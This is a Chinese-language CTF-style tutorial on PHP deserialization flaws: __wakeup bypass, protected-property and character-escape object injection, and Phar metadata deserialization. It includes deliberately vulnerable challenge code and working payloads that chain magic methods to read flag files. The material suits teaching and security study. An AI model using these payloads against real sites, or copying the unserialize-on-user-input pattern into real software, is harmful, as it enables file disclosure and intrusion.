PHP反序列化漏洞
漏洞成因:是因为程序对输入数据处理不当导致的。
wakeup绕过
漏洞产生原因:如果存在wakeup方法,调用unseralize()方法需要先调用_wakeup方法,但是当序列化字符串中表示对象属性个数的值不等于真实的属性个数时会跳过__wakeup的执行。
题目:在根目录创建一个index.php、f15g_1s_here.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34
|
<?php class Demo { private $file = 'index.php';
public function __construct($file) { $this->file = $file; }
function __destruct() { echo @highlight_file($this->file, true); }
function __wakeup() { if ($this->file != 'index.php') { $this->file = 'index.php'; } } }
if (isset($_GET['var'])) { $var = base64_decode($_GET['var']); if (preg_match('/[oc]:\d+:/i', $var)) { die('stop hacking!'); } else {
@unserialize($var); } } else { highlight_file("index.php"); } ?>
|
1 2 3 4 5
|
<?php flag{kdjsksdajklfsad}; ?>
|
从index.php的wakeup函数中就可以看出,flag就在f15g_1s_here.php中。我们可以通过 __destruct()读取f15g_1s_here.php,怎么将$var传进去demo就是关键。首先看到,在unserialize之前,会先执行wakeup,而wakeup会直接将$this->file写为index.php(如果我们正常传进去f15g_1s_here.php就会被写成index.php),所以要绕过wakeup。
在绕过之前,要先知道传回Demo类的序列是什么,所以就先截取部分源码试验。
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| <?php class Demo { private $file = 'f15g_1s_here.php';
public function __construct($file) { $this->file = $file; } }
$obj = new Demo('f15g_1s_here.php');
$a = serialize($obj); echo $a; ?>
|
只要将Demo”:1:的1改成2或者其他不等于1的数字就可以绕过wakeup方法。同时上面也进行了正则匹配,对[oc]:\d+:进行了过滤也就是对O:数量进行了过滤,直接使用+号当做空格即可绕过。
所以直接操作$a
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| <?php class Demo { private $file = 'f15g_1s_here.php';
public function __construct($file) { $this->file = $file; } }
$obj = new Demo('f15g_1s_here.php');
$a = serialize($obj); $a = str_replace('4','+4',$a); $a = str_replace(':1:',':2:',$a); echo base64_encode($a); ?>
|
再传入index.php的$var中
私有属性绕过
将index.php改成以下:(flag.php沿用上面用到的f15g_1s_here.php)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78
| <?php highlight_file(__FILE__);
class FileHandler {
protected $op; protected $filename; protected $content;
function __construct() { $op = "1"; $filename = "/tmp/tmpfile"; $content = "Hello World!"; $this->process(); }
public function process() { if($this->op == "1") { $this->write(); } else if($this->op == "2") { $res = $this->read(); $this->output($res); } else { $this->output("Bad Hacker!"); } }
private function write() { if(isset($this->filename) && isset($this->content)) { if(strlen((string)$this->content) > 100) { $this->output("Too long!"); die(); } $res = file_put_contents($this->filename, $this->content); if($res) $this->output("Successful!"); else $this->output("Failed!"); } else { $this->output("Failed!"); } }
private function read() { $res = ""; if(isset($this->filename)) { $res = file_get_contents($this->filename); } return $res; }
private function output($s) { echo "[Result]: <br>"; echo $s; }
function __destruct() { if($this->op === "2") $this->op = "1"; $this->content = ""; $this->process(); }
}
function is_valid($s) { for($i = 0; $i < strlen($s); $i++) if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125)) return false; return true; }
if(isset($_GET{'str'})) {
$str = (string)$_GET['str']; if(is_valid($str)) { $obj = unserialize($str); }
}
|
简单分析代码逻辑:
1.通过传入参数str来执行反序列化。
2.str会先通过is_valid函数,该函数阻止输入特殊字符。题目给的类的函数是private属性,private属性在序列化之后,会产生特殊字符,我们需要对此进行绕过。
/*protected属性被序列化的时候属性值会变成 %00\%00属性名
private属性被序列化的时候属性值会变成 %00类名%00属性名
**/(%00为空白符,空字符也有长度,一个空字符长度为 1)
3.反序列化会触发destruct()函数,而destruct函数会调用process()函数。
4.process()函数里,当op=2时,可以触发read()函数进行flag读取,然后通过output函数输出。
5.destruct()函数和process()函数都存在过滤,分别是:
1 2 3 4 5 6
| if($this->op === "2") $this->op = "1";
if($this->op == "2") { $res = $this->read(); $this->output($res);
|
可以看到,一个是强类型一个是弱类型,令OP=2就可以绕过。
/**由于强类型比较之下,2是不等于“2”的,在弱类型比较下,2是等于“2”的,所以让OP=2就可以绕过destruct()函数。 **/
本地构造序列化数据
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
| <?php class FileHandler {
protected $op = 2; protected $filename = "falg.php"; protected $content = "aaa"; }
function is_valid($s) { for($i = 0; $i < strlen($s); $i++) if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125)) return false; return true; }
$a = new FileHandler(); $b = serialize($a); echo $b;
|
将这个直接传进去,发现报错
原来protected属性在被序列化后,属性值会变成 %00*%00属性名。(上面有提到),打开源代码就可以看到,
在*的前后是有空格的,也就是%00,而%00超出了is_valid()函数规定的asc码范围,所以会报错。因此需要将这个将s改成大S进行绕过,让反序列时候能够识别十六进制的\00
/** S模式下,字符可以用/和十六进制表示。%00就可以用\00表示。**/
1
| O:11:"FileHandler":3:{S:5:"\00*\00op";i:2;S:11:"\00*\00filename";s:8:"flag.php";S:10:"\00*\00content";s:3:"aaa";}
|
查看源码,获取flag
字符逃逸
源码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39
| <?php show_source("index.php"); function write($data) { return str_replace(chr(0) . '*' . chr(0), '\0\0\0', $data); }
function read($data) { return str_replace('\0\0\0', chr(0) . '*' . chr(0), $data); }
class A{ public $username; public $password; function __construct($a, $b){ $this->username = $a; $this->password = $b; } }
class B{ public $b = 'gqy'; function __destruct(){ $c = 'a'.$this->b; echo $c; } }
class C{ public $c; function __toString(){ echo file_get_contents($this->c); return 'nice'; } }
$a = new A($_GET['a'],$_GET['b']);
$b = unserialize(read(write(serialize($a))));
|
分析代码:
两个函数,三个类
关键代码:
1 2
| $a = new A($_GET['a'],$_GET['b']); $b = unserialize(read(write(serialize($a))));
|
关键函数:
1 2 3 4 5 6 7
| function write($data) { return str_replace(chr(0) . '*' . chr(0), '\0\0\0', $data); }
function read($data) { return str_replace('\0\0\0', chr(0) . '*' . chr(0), $data); }
|
我们只有一个可控的变量只有类A的两个参数a和b。传参之后,会先进行实例化对象$a。进行序列化$a。依次传递三个函数write()、read()和unserialize()。
分析做法:
①类C中有个_toString(),当反序列化后的对象被输出在模板中的时候(转换成字符串的时候)自动调用。所以我们就要将里面的$c变量的值变成flag.php
②类B有个__destruct(),当对象被销毁时自动调用。并且类B还可以输出$c
③类B还有一个字符拼接操作,$c=’a’.$this->b 。先执行$this->b,实例化了此处的$b属性。然后就实例化$c,触发类C的__toString
所以,做的就是将类A的password属性实例化成类B的实例化对象。设置类B的$b为类C的实例化对象。设置类C的$c=”flag.php”即可。
特别注意
read函数里面的
1
| return str_replace('\0\0\0', chr(0) . '*' . chr(0), $data);
|
①char(0)实际上就是一个空字符,也算一个字节。
②read函数会将\0\0\0替换成chr(0) . ‘*’ . chr(0)
③\0\0\0是六个字符,chr(0) . ‘‘ . chr(0)是三个字符。也就是说,当我们传入参数里面有一组\0\0\0,通过read(),会成将原来的六字符的值\0\0\0变成三字符chr(0) . ‘‘ . chr(0)。也就是说我们每传入一组\0\0\0,就会多读取后面三个字符。下面进行调试演示。
改一下代码,显示各调试结果。
1 2 3 4 5 6 7
| echo "<br>"; echo serialize($a); echo "<br>"; echo write(serialize($a)); echo "<br>"; echo read(write(serialize($a))); echo "<br>";
|
1 2 3 4 5
| var_dump($b); echo "<br>"; echo $b->username; echo "<br>"; echo $b->password;
|
先输入a=1,b=2看看结果。
可以看到一切正常。再传入a=\0\0\0,b=2。
经过read函数处理后,username的字符串长度是6但是username的值却是chr(0) . ‘*’ . chr(0)。并且报错。报错的原因就是读取username的值的时候,要读取6个字符,而后面的格式不符合序列化结束格式。
经过分析后,传入参数
a=\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0&b=c”;s:8:”password”;s:4:”1234”;}}
当a传入8组\0\0\0的时候,序列化a的时候字符串长度为48,当反序列化之后a字符串长度仍然为48,可是在””里面只有
,所以他会继续往后读取,直到读取完48个字符。所以可以看到,在反序列化之后,a的值变成了
1
| ********";s:8:"password";s:30:"c
|
,而b就是1234.
想要拿到flag,就要通过类C的echo file_get_contents($this->c);获取。而flag的文件名题目给了就是flag.php。类B里有
1 2
| function __destruct(){ $c = 'a'.$this->b;
|
可以输出$c.所以我们设置$b为类C的实例化对象即可。
构造payload:
1 2 3 4 5 6 7 8 9
| $a = new A(); $b=new B(); $c=new C(); $c->c="flag.php"; $b->b=$c; $a->username='1'; $a->password='2'; $d=read(write(serialize($a))); var_dump($d);
|
1
| O:1:"A":2:{s:8:"username";s:1:"1";s:8:"password";s:1:"2";}
|
可以看到,我们需要逃逸的字符就是
1
| ";s:8:"password";s:1:"//一共22个
|
因为我们后面要将payload填充到password的值中,所以字符一定是几十位,因此s的长度一定是两位数,所以需要逃逸的字符一共需要23位数。
所以传入a的值就是8组\0\0\0,一共逃逸24位数。所以在最后的payload前面加一个字符就可以。
1 2 3 4 5 6 7 8 9 10
| $a = new A(); $b=new B(); $c=new C(); $c->c="flag.php"; $b->b=$c; $a->username='1'; $a->password=$b; $d=read(write(serialize($a))); var_dump($d);
|
1
| O:1:"A":2:{s:8:"username";s:1:"1";s:8:"password";O:1:"B":1:{s:1:"b";O:1:"C":1:{s:1:"c";s:8:"flag.php";}}}
|
最终payload:
1
| a=\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0&b=1";s:8:"password";O:1:"B":1:{s:1:"b";O:1:"C":1:{s:1:"c";s:8:"flag.php";}}
|
Phar反序列化漏洞
Phar
php5.3之后支持了类似Java的jar包,名为phar。用来将多个PHP文件打包为一个文件.可以和tar zip相互转化
- 简单理解就是他类似zip或者说类似jar,它将PHP文件打包成一个文件然后PHP可以在不解压的情况去访问这个包里面的php,并执行。
Phar漏洞的利用条件
- phar文件要能够上传到服务器端。
- 要有可用的魔术方法作为“跳板”。
- 文件操作函数的参数可控,且
:
、/
、phar
等特殊字符没有被过滤。
文件结构
1.Stub文件
运行Phar文件时,stub文件被当做一个meta文件来初始化Phar, 并告诉Phar文件在被调用时该做什么。
1 2 3 4 5 6
| <?php Phar::mapPhar(); include "phar://myapp.phar/index.php";
|
Phar::mapPhar()
用来分析Phar文件的元数据,并初始化它。stub文件的结尾处需要调用 __HALT_COMPILER()
方法,这个方法后不能留空格。__HALT_COMPILER()
会立即终止PHP的运行,防止include的文件在此方法后仍然执行。这是Phar必须的,没有它Phar将不能正常运行。
2.manifest文件
phar文件本质上是一种压缩文件,其中每个被压缩文件的权限、属性等信息都放在这部分。这部分还会以序列化的形式存储用户自定义的meta-data,这里即为反序列化漏洞点。
3.contents文件
被压缩文件的内容。
4.signature文件
签名,放在文件末尾
创建Phar文件
注意:生成phar文件需要修改php.ini中的配置:
注意:要把phar.readonly = Off前面的分号去掉。
在php根目录创一个生成phar文件脚本。creat-phar.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
| <?php class User{ var $name; function __destruct(){ echo "fangzhang"; } }
@unlink("test.phar"); $phar = new Phar("test.phar"); $phar->startBuffering(); $phar->setStub("<?php __HALT_COMPILER(); ?>"); $o = new User(); $o->name = "test"; $phar->setMetadata($o); $phar->addFromString("test.txt", "test"); $phar->stopBuffering(); ?>
|
得到test.phar内容如下:
1 2 3 4 5 6 7 8 9 10
| 00000000: 3c3f 7068 7020 5f5f 4841 4c54 5f43 4f4d <?php __HALT_COM 00000010: 5049 4c45 5228 293b 203f 3e0d 0a5b 0000 PILER(); ?>..[.. 00000020: 0001 0000 0011 0000 0001 0000 0000 0025 ...............% 00000030: 0000 004f 3a34 3a22 5573 6572 223a 313a ...O:4:"User":1: 00000040: 7b73 3a34 3a22 6e61 6d65 223b 733a 343a {s:4:"name";s:4: 00000050: 2274 6573 7422 3b7d 0800 0000 7465 7374 "test";}....test 00000060: 2e74 7874 0400 0000 46fc 6e5d 0400 0000 .txt....F.n].... 00000070: 0c7e 7fd8 b601 0000 0000 0000 7465 7374 .~..........test 00000080: 9d18 4c48 ba24 6ed6 a810 3690 2aac 034e ..LH.$n...6.*..N 00000090: 6aee e818 0200 0000 4742 4d42 j.......GBMB
|
Phar反序列化原理
php
文件系统中很大一部分的函数在通过phar://
解析时,存在着对meta-data
反序列化的操作。
测试
1 2 3 4 5 6 7 8 9 10 11
| <?php class User{ var $name; function __destruct(){ echo "test"; } }
$file = "phar://test.phar"; @file_get_contents($file); ?>
|